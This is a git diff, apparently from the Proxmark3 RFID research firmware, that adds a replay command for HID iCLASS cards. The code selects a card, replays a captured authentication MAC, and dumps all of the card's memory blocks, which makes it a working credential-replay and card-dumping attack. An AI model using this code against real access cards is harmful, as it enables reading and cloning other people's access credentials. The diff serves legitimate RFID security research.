Implement replay command.

[proxmark3-svn] / armsrc / iclass.c

diff --git a/armsrc/iclass.c b/armsrc/iclass.c
index e876132e74fa68d103de8d76dace64194a5d7d65..c827ed51d6517c49301a71951bf593bca592393e 100644 (file)
--- a/armsrc/iclass.c
+++ b/armsrc/iclass.c
@@ -45,6 +45,7 @@
 // same construction as in ISO 14443;
 // different initial value (CRC_ICLASS)
 #include "iso14443crc.h"
+#include "iso15693tools.h"
 
 static int timeout = 4096;
 
@@ -1476,4 +1477,147 @@ void ReaderIClass(uint8_t arg0) {
        LED_A_OFF();
 }
 
+void ReaderIClass_Replay(uint8_t arg0, uint8_t *MAC) {
+       uint8_t act_all[]     = { 0x0a };
+       uint8_t identify[]    = { 0x0c };
+       uint8_t select[]      = { 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+       uint8_t readcheck_cc[]= { 0x88, 0x02 };
+       uint8_t check[]       = { 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+       uint8_t read[]        = { 0x0c, 0x00, 0x00, 0x00 };
+       
+        uint16_t crc = 0;
+       uint8_t cardsize=0;
+       bool read_success=false;
+       uint8_t mem=0;
+       
+       static struct memory_t{
+         int k16;
+         int book;
+         int k2;
+         int lockauth;
+         int keyaccess;
+       } memory;
+       
+       uint8_t* resp = (((uint8_t *)BigBuf) + 3560);   // was 3560 - tied to other size changes
+
+       // Reset trace buffer
+       memset(trace, 0x44, RECV_CMD_OFFSET);
+       traceLen = 0;
+
+       // Setup SSC
+       FpgaSetupSsc();
+       // Start from off (no field generated)
+       // Signal field is off with the appropriate LED
+       LED_D_OFF();
+       FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+       SpinDelay(200);
+
+       SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
+
+       // Now give it time to spin up.
+       // Signal field is on with the appropriate LED
+       FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
+       SpinDelay(200);
+
+       LED_A_ON();
+
+       for(int i=0;i<1;i++) {
+       
+               if(traceLen > TRACE_SIZE) {
+                       DbpString("Trace full");
+                       break;
+               }
+               
+               if (BUTTON_PRESS()) break;
+
+               // Send act_all
+               ReaderTransmitIClass(act_all, 1);
+               // Card present?
+               if(ReaderReceiveIClass(resp)) {
+                       ReaderTransmitIClass(identify, 1);
+                       if(ReaderReceiveIClass(resp) == 10) {
+                               // Select card          
+                               memcpy(&select[1],resp,8);
+                               ReaderTransmitIClass(select, sizeof(select));
+
+                               if(ReaderReceiveIClass(resp) == 10) {
+                                       Dbprintf("     Selected CSN: %02x %02x %02x %02x %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],
+                                       resp[3], resp[4], resp[5],
+                                       resp[6], resp[7]);
+                               }
+                               // Card selected
+                               Dbprintf("Readcheck on Sector 2");
+                               ReaderTransmitIClass(readcheck_cc, sizeof(readcheck_cc));
+                               if(ReaderReceiveIClass(resp) == 8) {
+                                  Dbprintf("     CC: %02x %02x %02x %02x %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],
+                                       resp[3], resp[4], resp[5],
+                                       resp[6], resp[7]);
+                               }else return;
+                               Dbprintf("Authenticate");
+                               //for now replay captured auth (as cc not updated)
+                               memcpy(check+5,MAC,4);
+                               Dbprintf("     AA: %02x %02x %02x %02x",
+                                       check[5], check[6], check[7],check[8]);
+                               ReaderTransmitIClass(check, sizeof(check));
+                               if(ReaderReceiveIClass(resp) == 4) {
+                                  Dbprintf("     AR: %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],resp[3]);
+                               }else {
+                                 Dbprintf("Error: Authentication Fail!");
+                                 return;
+                               }
+                               Dbprintf("Dump Contents");
+                               //first get configuration block
+                               read_success=false;
+                               read[1]=1;
+                               uint8_t *blockno=&read[1];
+                               crc = iclass_crc16((char *)blockno,1);
+                               read[2] = crc >> 8;
+                               read[3] = crc & 0xff;
+                               while(!read_success){
+                                     ReaderTransmitIClass(read, sizeof(read));
+                                     if(ReaderReceiveIClass(resp) == 10) {
+                                        read_success=true;
+                                        mem=resp[5];
+                                        memory.k16= (mem & 0x80);
+                                        memory.book= (mem & 0x20);
+                                        memory.k2= (mem & 0x8);
+                                        memory.lockauth= (mem & 0x2);
+                                        memory.keyaccess= (mem & 0x1);
+
+                                     }
+                               }
+                               if (memory.k16){
+                                 cardsize=255;
+                               }else cardsize=32;
+                               //then loop around remaining blocks
+                               for(uint8_t j=0; j<cardsize; j++){
+                                   read_success=false;
+                                   uint8_t *blockno=&j;
+                                   //crc_data[0]=j;
+                                   read[1]=j;
+                                   crc = iclass_crc16((char *)blockno,1);
+                                   read[2] = crc >> 8;
+                                   read[3] = crc & 0xff;
+                                   while(!read_success){
+                                     ReaderTransmitIClass(read, sizeof(read));
+                                     if(ReaderReceiveIClass(resp) == 10) {
+                                        read_success=true;
+                                        Dbprintf("     %02x: %02x %02x %02x %02x %02x %02x %02x %02x",
+                                         j, resp[0], resp[1], resp[2],
+                                         resp[3], resp[4], resp[5],
+                                         resp[6], resp[7]);
+                                     }
+                                   }
+                               }
+                       }
+               }
+               WDT_HIT();
+       }
+       
+       LED_A_OFF();
+}
+